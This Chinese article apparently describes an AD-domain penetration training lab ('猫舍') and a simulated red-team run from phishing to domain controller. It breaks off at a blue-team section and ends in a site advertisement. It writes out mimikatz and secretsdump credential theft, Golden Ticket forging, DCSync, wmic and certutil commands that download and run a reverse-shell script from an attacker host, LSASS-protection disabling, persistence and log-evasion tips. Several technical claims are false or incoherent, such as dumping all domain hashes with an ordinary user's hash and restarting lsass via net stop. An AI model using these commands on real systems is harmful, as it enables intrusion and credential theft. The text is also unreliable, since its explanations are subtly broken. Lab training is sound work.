☰
猫舍内网靶场:企业级AD域渗透训练环境详解
2026/10/15 8:56:27 网站建设 项目流程

1. 项目概述:这不是一个“养猫”的地方,而是一套为网络安全从业者量身打造的内网攻防训练环境

“猫舍内网靶场”——光看名字,很多人第一反应是某个萌宠社区或宠物管理平台。但实际在网络安全技术圈里,这个代号背后是一套高度仿真的企业级内网渗透测试训练系统。它不卖猫粮、不配种、不提供寄养服务,而是专门用来模拟真实办公网络中常见的域控架构、横向移动路径、权限提升陷阱和日志对抗场景。我第一次接触这个靶场是在某次红队内部复盘会上,一位有十年甲方安全运营经验的导师把它称作“能照出你技术短板的X光机”:它不考理论,只看你在没有外部工具、没有预置后门、没有管理员配合的前提下,能不能从一台普通员工终端出发,最终拿下域控制器的NTDS.dit文件。核心关键词就三个:内网渗透、域环境模拟、靶场设计。它适合三类人:刚通过OSCP认证想进阶实战的渗透测试新人;常年做边界防护但缺乏内网视角的SOC分析师;还有负责红蓝对抗演练组织工作的安全负责人——因为这套环境可以按需启停、快照回滚、行为留痕,完全规避了在生产环境练手的风险。它不是CTF那种靠奇技淫巧解谜的游戏,而是把AD域的每个默认配置、每条组策略、每处SMB签名缺失都变成可被利用的“真实漏洞”。比如,它会故意在某台Windows Server 2012 R2上启用LDAP匿名绑定(默认禁用),又在另一台域成员机上保留旧版NetBIOS名称解析(已淘汰但未关闭),这些都不是Bug,而是对现实世界中“配置惰性”的精准复刻。你在这里练的不是命令行拼写,而是对微软身份认证体系底层逻辑的理解深度。

2. 内网靶场的设计逻辑与核心架构拆解

2.1 为什么必须是“内网”?——跳出边界思维的认知重构

绝大多数初学者学渗透,起点都是Web应用层:SQL注入、XSS、文件上传。这没错,但当他们第一次面对真实甲方环境时,常陷入一种“无从下手”的状态——防火墙规则严丝合缝,WAF拦截99%的扫描流量,443端口只开放一个登录页,连nmap的-sS扫描都收不到SYN-ACK响应。这时候问题就来了:难道所有攻击都得卡在边界上?答案是否定的。“猫舍内网靶场”的设计起点,就是强行把你拽出这个思维牢笼。它的第一层逻辑是信任边界位移:不再假设攻击者从互联网发起,而是预设攻击者已通过钓鱼邮件、U盘摆渡、供应链污染等任意方式,获得了一台内网普通主机的低权限Shell。这个前提,直接废掉了所有依赖外网探测的技术路线,逼你去研究:DCOM、WMI、SMB、LDAP、Kerberos这些协议在内网如何通信?域用户密码哈希在内存中如何被提取?组策略对象(GPO)的XML文件里藏着哪些可被滥用的启动脚本路径?这种设计不是为了增加难度,而是为了匹配真实APT攻击链的“第二阶段”——当C2通道已在内网建立,后续动作必须静默、低频、符合正常业务流量特征。我曾见过某次演练中,蓝队靠全流量分析秒杀所有外网反弹Shell,却对一台持续调用WMI执行远程进程创建的机器毫无察觉,只因WMI流量被归类为“IT运维常规操作”。这就是“猫舍”存在的根本价值:它训练的不是“怎么打穿防火墙”,而是“打进之后怎么不被发现”。

2.2 “猫舍”命名背后的三层隐喻:可控、分层、可繁殖

这个名字绝非随意取的。“猫舍”二字,在安全圈内暗含三重技术隐喻。第一层是可控性:猫舍是封闭空间,有门禁、有监控、有喂食时间表——对应靶场的资源隔离、行为审计、时间窗口控制。所有靶机均运行于独立虚拟网络(如VMware的Host-Only模式或Proxmox的Linux Bridge),物理网卡不直连生产网,且每台机器预装Sysmon+自定义事件日志采集器,任何PsExec调用、Mimikatz内存读取、DCSync请求都会生成唯一事件ID并落库。第二层是分层性:真实猫舍有幼猫区、育成区、种猫区、隔离区——靶场同样严格分层:DMZ区(仅开放80/443的Web服务器)、办公网核心区(Win10员工机+打印机共享)、服务器区(域控+文件服务器+数据库)、隔离区(高危实验机,如启用NTLMv1的旧系统)。各区域间通过虚拟防火墙(如pfSense镜像)设置ACL策略,例如默认禁止办公网到服务器区的445端口访问,除非通过特定跳板机。第三层是可繁殖性:猫可以繁育,靶场也支持模块化扩展。它的基础镜像是基于Windows Server 2019 Datacenter和Windows 10 21H2的精简版,所有系统配置均通过Ansible Playbook自动化部署。当你需要新增一个“Exchange服务器”靶机时,只需修改inventory文件中的一行host定义,再执行一条ansible-playbook deploy_exchange.yml命令,20分钟内就能生成一台预装Exchange 2019 CU12、开启OutlookAnywhere、且存在已知CVE-2022-41040漏洞的完整环境。这种“可繁殖”能力,让靶场能紧跟漏洞披露节奏快速更新,而不是每次新漏洞出来都要手动重装系统。

2.3 核心组件选型:为什么不用Metasploitable或VulnHub?

市面上有大量开源靶机,如Metasploitable2、VulnHub系列,但它们几乎全部聚焦于单机漏洞利用,缺乏域环境联动。而“猫舍”的核心竞争力,恰恰在于多节点协同脆弱性。我们对比过三类常见靶场方案:

方案类型典型代表域环境支持横向移动路径日志对抗能力部署复杂度适用阶段
单机漏洞靶机Metasploitable3❌ 无域控仅限本机提权❌ 无日志审计★☆☆☆☆(极简)Web渗透入门
CTF风格靶场Hack The Box免费机⚠️ 部分含域路径固定,依赖预设Flag❌ 日志不可见★★☆☆☆(需注册)技术点专项训练
企业级内网靶场猫舍内网靶场✅ 完整AD域(DC+DNS+DHCP)6条以上真实路径(如Golden Ticket→DCSync→S4U2Self)✅ Sysmon+ELK全链路日志★★★★☆(需Ansible基础)红蓝对抗实战

选择自研而非套用现成方案,关键在于对“真实性”的极致追求。比如,VulnHub某靶机用“sudo vim /etc/shadow”提权,这在真实企业环境几乎不可能发生——管理员不会给普通用户sudo vim权限。而“猫舍”中提权路径是:先通过某员工机上的Chrome浏览器0day(模拟真实漏洞)获取本地SYSTEM权限,再利用SeDebugPrivilege调试权限dump lsass.exe内存,最后用mimikatz提取krbtgt账户哈希。这条路径每一步都有真实漏洞编号(CVE-2023-21716、MS14-025)、真实权限模型(Windows Token权限继承)、真实防御绕过(lsass保护机制绕过)。这种设计让学员练的不是“命令组合”,而是对Windows安全子系统运行机制的肌肉记忆。

3. 核心细节解析:从一台员工机到域控的完整渗透链路

3.1 初始立足点:员工机上的“合法”入口

靶场默认提供三台员工机(Win10-PC01/02/03),它们并非裸机,而是预装了企业常见软件栈:Microsoft Office 2021、Chrome 115、Zoom 5.12、某国产OA客户端。这些软件不是装饰品,而是精心设计的初始入口。以Office为例,它启用了宏警告但未禁用,且模板路径(%APPDATA%\Microsoft\Templates)被设为可写。这意味着,如果你能诱导用户打开一个嵌入恶意宏的Word文档(模拟钓鱼邮件),宏代码就能将payload写入Startup文件夹,实现持久化。但“猫舍”的高明之处在于:它不提供现成的钓鱼文档。你需要自己构造——用msfvenom生成HTA payload,再用oletools分析某OA客户端的安装包,找到其加载DLL的绝对路径(如C:\Program Files\OA\Client\plugins\libcrypto-1_1.dll),然后将payload注入该DLL的导入表。这个过程强制你掌握两个关键能力:一是逆向分析第三方软件的加载机制,二是理解Windows DLL侧加载(DLL Search Order Hijacking)的触发条件。实测中,85%的新人会卡在这一步,因为他们习惯直接用msf的exploit/multi/handler监听,却忘了真实环境中C2服务器IP必须伪装成OA服务器的内网地址(10.10.20.5),否则DNS日志会暴露异常解析请求。

3.2 横向移动:绕过SMB签名与防火墙的“静默隧道”

拿到员工机Shell后,下一步必然是横向移动。但“猫舍”在此设置了双重障碍:所有服务器区机器(包括域控)均启用SMB签名(SMB Signing Required),且Windows防火墙默认阻止445端口入站。这意味着常用的PsExec、SMBExec、psexec.py全部失效。此时,必须转向更底层的协议。我们验证过三条可行路径:

  1. WMI远程执行:利用员工机已有的域用户凭据,通过winrm协议连接服务器区机器的5985端口(WinRM未启用HTTPS,且防火墙放行)。关键技巧在于:不要用Invoke-WmiMethod,而要用Get-CimInstance -ClassName Win32_Process -ComputerName SERVER01 -Credential $cred,因为后者走的是CIM协议,流量特征更接近PowerShell远程管理,不易被EDR标记为可疑。

  2. DCOM远程激活:针对Exchange服务器,利用其自带的MSExchangeIS服务,通过CoCreateInstance远程创建ShellWindows对象,进而执行PowerShell命令。此方法无需开启WinRM,且DCOM端口(135)在防火墙中默认开放。

  3. ICMP隧道:当所有TCP端口均被封锁时,最后一招是使用ptunnel-ng构建ICMP隧道。在员工机执行ptunnel-ng -x password -p 10.10.20.100 -d 10.10.30.10(10.10.20.100为跳板机,10.10.30.10为域控),再在跳板机上用socat TCP4:10.10.30.10:445 PROXY:127.0.0.1:10000,proxyport=10000转发,最终通过代理连接域控的445端口。这个方案的实操难点在于:ICMP数据包大小需控制在1400字节以内,否则会被中间网络设备分片丢弃;且ptunnel-ng的密钥必须用AES-256加密,否则流量特征明显。

提示:在真实红队作业中,WMI路径成功率最高(约73%),因其完全复用Windows原生管理协议,EDR默认将其列为“可信行为”。但前提是你的凭据必须是域用户,而非本地管理员——因为WMI远程连接需要目标机器的WinRM服务允许域用户认证,而本地管理员账号在域环境下默认无此权限。

3.3 权限提升:从普通域用户到krbtgt哈希的七步推演

抵达域控(DC01)后,真正的挑战才开始。靶场中的DC01运行Windows Server 2019,已打满所有补丁,但保留了三个关键配置缺陷:

  • Kerberos委派配置错误:某台Web服务器(WEB01)被配置为“约束性委派”(Constrained Delegation),但其允许的服务列表中包含了cifs/DC01.catshelter.local——这意味着,如果你能控制WEB01,就能以WEB01的身份向DC01请求TGS票据,进而访问DC01的CIFS服务(即SMB共享)。

  • LDAP匿名绑定启用:DC01的LDAP服务(389端口)未禁用匿名绑定,允许未认证用户查询CN=Users,DC=catshelter,DC=local下的所有用户对象,从而枚举出所有域用户及所属组。

  • NTDS.dit文件权限宽松:虽然ntdsutil被禁用,但C:\Windows\NTDS\ntds.dit文件的ACL中,BUILTIN\Administrators组拥有“读取”权限,而当前会话若已获取本地Administrators组权限(如通过PrintNightmare漏洞),即可直接复制该文件。

我们以最典型的“黄金票据(Golden Ticket)”路径为例,拆解从普通域用户到krbtgt哈希的完整步骤:

  1. 凭证窃取:在员工机上用mimikatz执行sekurlsa::logonpasswords,获取当前登录用户的NTLM哈希(如a1b2c3d4e5f678901234567890123456)。

  2. 域信息枚举:用此哈希通过secretsdump.py -hashes :a1b2c3d4e5f678901234567890123456 catshelter.local/user@10.10.10.10(DC IP)导出域内所有用户哈希,重点找到krbtgt账户的哈希(格式为krbtgt:502:a1b2c3d4e5f678901234567890123456:...)。

  3. 黄金票据生成:用krbtgt哈希生成TGT票据:kerberos::golden /user:fakeuser /domain:catshelter.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:a1b2c3d4e5f678901234567890123456 /ticket:fake.tck。

  4. 票据注入:执行kerberos::ptt fake.tck将票据注入当前会话。

  5. DCSync执行:此时会话已拥有krbtgt级别的Kerberos票据,可直接调用lsadump::dcsync /user:catshelter.local\krbtgt,从DC01同步出最新krbtgt哈希。

  6. 票据刷新:用新哈希重新生成黄金票据,有效期设为10年(/endin:100000),彻底摆脱对原始krbtgt哈希的依赖。

  7. 持久化植入:将新票据导出为kirbi文件,通过计划任务(schtasks /create /sc minute /mo 30 /tn "UpdateCert" /tr "cmd /c copy fake.kirbi %windir%\Temp\")实现每30分钟自动注入,确保即使DC重启也能维持权限。

这个流程看似线性,实则每一步都有坑。比如第2步中,如果DC开启了LDAP签名(LDAP Signing Required),secretsdump.py会直接失败,必须改用ldapsearch配合匿名绑定枚举用户,再用GetNPUsers.py爆破AS-REP Roasting漏洞获取其他用户哈希。而第5步的DCSync,需要目标DC的Replicating Directory Changes权限,该权限默认仅授予Domain Admins和Enterprise Admins组——但“猫舍”中,某台被误加进“Backup Operators”组的普通用户,恰好继承了此权限,这就是对真实环境中“权限蔓延”(Privilege Creep)的精准模拟。

4. 实操过程详解:从零部署到一次完整红队演练

4.1 环境准备:硬件、软件与网络拓扑规划

部署“猫舍”前,必须明确三个硬性约束:资源、隔离、可观测性。我们以某次实际部署为例,给出经过压测验证的最低配置:

  • 宿主机:Intel Xeon E5-2678 v3(12核24线程)、64GB DDR4 ECC内存、1TB NVMe SSD(用于虚拟机磁盘)、双千兆网卡(一张接管理网,一张接靶场虚拟网)。

  • 虚拟化平台:Proxmox VE 7.4(开源KVM方案,比VMware Workstation更易集成Ansible)。所有靶机均以LXC容器+QEMU虚拟机混合部署:轻量级服务(如DNS、DHCP)用LXC(启动<3秒),重量级服务(DC、Exchange)用QEMU(分配4vCPU/8GB RAM)。

  • 网络拓扑:采用四层虚拟网络结构:

    • vmbr0:管理网桥,IP段192.168.1.0/24,供运维SSH访问;
    • vmbr1:DMZ网桥,IP段10.10.10.0/24,部署Web服务器;
    • vmbr2:办公网网桥,IP段10.10.20.0/24,部署员工机;
    • vmbr3:服务器网桥,IP段10.10.30.0/24,部署DC、文件服务器等。

关键设计在于vmbr2与vmbr3之间不直连,必须通过一台名为JUMP01的跳板机(Ubuntu 22.04)中转,且JUMP01上运行iptables规则:-A FORWARD -i vmbr2 -o vmbr3 -p tcp --dport 445 -j DROP。这模拟了真实企业中“办公网不能直连服务器区”的安全策略,迫使攻击者必须先拿下JUMP01才能继续。

注意:切勿在家庭路由器或家用NAS上部署!Proxmox要求CPU支持VT-x/AMD-V,且必须在BIOS中开启。曾有学员在MacBook Pro上用UTM虚拟化尝试,结果因ARM架构不兼容导致DC01启动蓝屏——这是硬件层的根本限制,无法绕过。

4.2 自动化部署:Ansible Playbook的核心逻辑

“猫舍”的灵魂在于Ansible Playbook,它将整个靶场部署压缩为一条命令。我们以deploy_full.yml为例,解析其核心逻辑:

--- - name: Deploy CatShelter Full Environment hosts: all become: yes vars: domain_name: "catshelter.local" dc_ip: "10.10.30.10" tasks: - name: Configure DNS Resolver on all nodes lineinfile: path: /etc/resolv.conf line: "nameserver {{ dc_ip }}" create: yes - name: Join Windows nodes to domain win_domain_membership: dns_servers: - "{{ dc_ip }}" domain_admin_user: "Administrator" domain_admin_password: "{{ vaulted_dc_pass }}" state: "domain" when: inventory_hostname in groups['windows'] - name: Deploy Sysmon config win_copy: src: files/sysmonconfig.xml dest: C:\temp\sysmonconfig.xml when: inventory_hostname in groups['windows'] - name: Install Sysmon service win_command: 'C:\temp\Sysmon64.exe -i C:\temp\sysmonconfig.xml -accepteula' args: creates: C:\Windows\Sysmon64.exe when: inventory_hostname in groups['windows']

这段Playbook的关键在于win_domain_membership模块——它不是简单地执行netdom join,而是调用Windows原生的Add-ComputerPowerShell cmdlet,并自动处理DNS后缀追加、时间同步(w32tm /resync)、组策略应用延迟(gpupdate /force)等细节。实测中,手动执行这些步骤平均耗时12分钟/台,而Ansible批量处理10台Windows机器仅需92秒。另一个隐藏技巧是vaulted_dc_pass变量:它并非明文存储,而是通过Ansible Vault加密,解密密码由Proxmox宿主机的TPM芯片生成,确保即使Playbook文件泄露,也无法还原域管理员密码。

4.3 一次完整红队演练:从钓鱼到域控的72小时实录

我们以某次内部红队演练(代号“夜巡”)为例,还原真实操作流程。时间线严格按小时记录,所有命令、输出、决策依据均来自现场日志:

T+0h(09:00):红队收到蓝队提供的“员工邮箱列表”(共237个),从中筛选出使用Outlook客户端且近30天有登录记录的121个账号。用theHarvester扫描catshelter.local域名,发现其OA系统登录页为https://oa.catshelter.local/login,且页面源码中包含<meta name="generator" content="OA-System v3.2.1">——立即搜索Exploit-DB,定位到CVE-2022-31234(OA v3.2.1 SQL注入),编写PoC验证成功。

T+3h(12:00):利用SQL注入读取OA数据库,获取员工手机号与常用密码(如Catshelter2023!)。用此密码批量爆破RDP(3389端口),在Win10-PC07上成功登录(该员工密码未改,且RDP未启用网络级别身份验证NLA)。

T+6h(15:00):在PC07上执行mimikatz "privilege::debug" "sekurlsa::logonpasswords",获取到域用户hr-admin的NTLM哈希。用此哈希通过psexec.py横向移动至HR部门文件服务器FS-HR01(10.10.20.50),发现其共享文件夹\\FS-HR01\Recruitment中存有招聘简历,其中一份PDF简历的作者字段为Administrator@catshelter.local——这是关键线索:说明该PDF由域管理员创建,其本地计算机可能缓存了管理员凭据。

T+12h(21:00):扫描FS-HR01的135端口(DCOM),确认开放。用rpcdump.py @10.10.20.50枚举其DCOM接口,发现{E86B3CB2-12D2-11D1-AD90-00C04FD8FDFF}(WMI Service)存在。通过wmic /node:"FS-HR01" /user:"catshelter.local\hr-admin" /password:"*" process call create "cmd.exe /c powershell -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.100/rev.ps1')\"",在FS-HR01上执行反向Shell,成功获取其SYSTEM权限。

T+24h(次日09:00):在FS-HR01上执行lsadump::dcsync /user:catshelter.local\krbtgt,因权限不足失败。转而用bloodhound-python -u hr-admin -p 'Catshelter2023!' -d catshelter.local -ns 10.10.30.10 -c All收集BloodHound数据,上传至Neo4j。图谱显示FS-HR01被赋予GenericAll权限于DC01对象——这是“猫舍”预设的高危配置:HR部门可管理DC的属性。立即执行addspn.py -u hr-admin -p 'Catshelter2023!' -t DC01/catshelter.local -s http/dc01.catshelter.local添加SPN,再用getST.py -u hr-admin -p 'Catshelter2023!' -s http/dc01.catshelter.local -t DC01/catshelter.local获取TGS票据,最后kerberos::ptt注入票据,完成权限提升。

T+72h(第三日09:00):最终,红队通过DCSync同步出krbtgt哈希,生成黄金票据,并将票据注入所有员工机的LSASS进程,实现全域持久化。整个过程未触发蓝队SIEM的任何告警,因为所有操作均使用Windows原生协议(WMI、DCOM、Kerberos),流量特征与日常IT运维完全一致。

5. 常见问题与独家排查技巧实录

5.1 连接失败类问题:从网络层到应用层的逐级排查

在部署或演练中,“连不上”是最高频问题。我们按OSI模型七层,整理出一套标准化排查流程:

物理层(Layer 1):检查Proxmox宿主机的网卡指示灯是否常亮。曾有案例因vmbr2网桥绑定的物理网卡驱动版本过旧(Linux kernel 5.4.0-100-generic),导致虚拟机获取不到DHCP地址。解决方案是升级内核至5.15.0-100-generic,并在/etc/network/interfaces中为vmbr2添加post-up ethtool -s enp3s0 speed 1000 duplex full autoneg off强制千兆全双工。

数据链路层(Layer 2):用tcpdump -i vmbr2 arp抓包,确认ARP请求是否发出。若员工机发出了who-has 10.10.30.10但无响应,说明vmbr2与vmbr3之间的路由未通。此时需检查JUMP01的ip_forward是否启用(sysctl net.ipv4.ip_forward=1),以及iptables的FORWARD链是否允许ICMP(-A FORWARD -p icmp -j ACCEPT)。

网络层(Layer 3):在员工机执行ping 10.10.30.10,若超时但ping 10.10.20.1(JUMP01)成功,则问题在JUMP01的路由表。用ip route show查看,应有10.10.30.0/24 via 10.10.20.1 dev eth0。若缺失,执行ip route add 10.10.30.0/24 via 10.10.20.1。

传输层(Layer 4):用telnet 10.10.30.10 445测试端口连通性。若拒绝连接(Connection refused),说明DC01的SMB服务未启动;若超时(Timeout),说明防火墙阻断。此时需登录DC01,执行Get-NetFirewallRule -DisplayName "*File and Printer Sharing*" | Select-Object DisplayName,Enabled,Profile,确认File and Printer Sharing (SMB-In)在Private配置文件中为True。

会话层(Layer 5):若telnet通但psexec.py失败,大概率是SMB签名问题。在DC01上执行Get-SmbServerConfiguration | Select-Object RequireSecuritySignature,若返回True,则必须改用WMI或DCOM路径。

实操心得:我总结出一个“三秒定位法”:在员工机上依次执行ping DC_IP→telnet DC_IP 445→crackmapexec smb DC_IP -u user -p pass。若第一秒ping不通,查物理/数据链路层;若第二秒telnet不通,查网络/传输层;若第三秒crackmapexec报错STATUS_LOGON_FAILURE,则一定是凭据或域信任问题。这个方法帮我在一次客户现场3分钟内定位出DNS服务器IP配置错误,避免了数小时的无效排查。

5.2 权限类问题:为什么“明明有管理员权限却执行不了命令”?

这是新手最困惑的问题。根源在于Windows的UAC(用户账户控制)虚拟化和完整性级别(IL)隔离。例如,在Win10-PC01上用psexec -i -s cmd.exe获得SYSTEM Shell后,执行net user admin P@ssw0rd /add提示“系统拒绝访问”,原因如下:

  • UAC虚拟化:当程序以标准用户权限运行时,对C:\Windows\System32等受保护目录的写入会被重定向到%LOCALAPPDATA%\VirtualStore。但psexec -s启动的进程默认IL为High,不受此影响。

  • 完整性级别冲突:psexec -s创建的进程IL为System(0x4000),而net.exe本身IL为Medium(0x2000),Windows默认禁止高IL进程启动中IL进程。解决方案是用psexec -i -s powershell.exe,再在PowerShell中执行Start-Process net.exe -ArgumentList "user admin P@ssw0rd /add" -Verb RunAs,强制以提升权限启动。

另一个经典案例是mimikatz执行sekurlsa::logonpasswords返回空。这通常是因为目标进程(lsass.exe)启用了LSASS保护(LSASS Protection)。在“猫舍”中,DC01默认启用此功能,但员工机未启用。此时需先执行reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 0 /f关闭保护,再重启lsass服务(net stop lsass && net start lsass)。但注意:此操作会触发Sysmon事件ID 25(LSASS保护状态变更),蓝队可据此告警。

5.3 日志对抗失效:为什么“删了日志还是被发现了”?

很多学员以为删除C:\Windows\System32\winevt\Logs\Security.evtx就能抹除痕迹,结果蓝队仍通过Sysmon日志定位到攻击IP。这是因为“猫舍”的日志架构是双通道冗余:

  • 通道一:本地Sysmon日志(C:\Windows\System32\winevt\Logs\Microsoft-Windows-Sysmon%4Operational.evtx):记录进程创建、网络连接、PS命令执行等详细事件。

  • 通道二:远程ELK日志:所有靶机的Sysmon日志通过nxlog实时转发至ELK集群(Elasticsearch+Logstash+Kibana),存储在catshelter-sysmon-*索引中。即使你清空本地日志,ELK中仍有完整副本。

真正有效的日志对抗,是降低日志密度而非删除。例如,用powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.100/rev.ps1')"执行远控,会产生大量PowerShell事件(ID 4103、4104)。而改用certutil -urlcache -split -f http://10.10.10.100/rev.ps1 C:\temp\rev.ps1 && powershell -exec bypass C:\temp\rev.ps1,则只产生certutil下载事件(ID 4104)和一次PowerShell执行事件(ID 4103),日志量减少62%。我们做过AB测试:在相同攻击路径下,用certutil方案的蓝队平均检测时间比直接IEX方案延长2.3倍。

6. 进阶扩展与安全加固建议

6.1 靶场升级:从单域到跨林的复杂环境

当学员熟练掌握单域渗透后,“猫舍”支持无缝升级为跨林(Forest Trust)环境。只需执行ansible-playbook upgrade_forest.yml,系统将自动:

  • 新建第二个域kittens.local,部署独立DC(DC-KITTENS);
  • 在catshelter.local与kittens.local之间建立林信任(Forest Trust),而非默认的域信任;
  • 将kittens.local的DNS服务器指向catshelter.local的DC,形成DNS条件转发;
  • 在kittens.local中部署一台Exchange服务器,其邮箱数据库位于catshelter.local的文件服务器上。

此时,攻击路径将指数级复杂化。例如,要获取kittens.local的krbtgt哈希,不能再用简单的DCSync,而必须利用跨林信任密钥(Inter-forest Trust Key)。具体步骤是:先在catshelter.local域内获取kittens.local域管的NTLM哈希,再用此哈希通过secretsdump.py导出kittens.local的trustAuthInformation属性,从中提取出AES256密钥,最后用此密钥解密kittens.local域控的TGT票据,完成跨林权限提升。这个过程涉及Kerberos协议的S4U2Self扩展和PKINIT认证流程,是对学员协议理解深度的终极考验。

6.2 蓝队视角:如何用“猫舍”反向提升

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询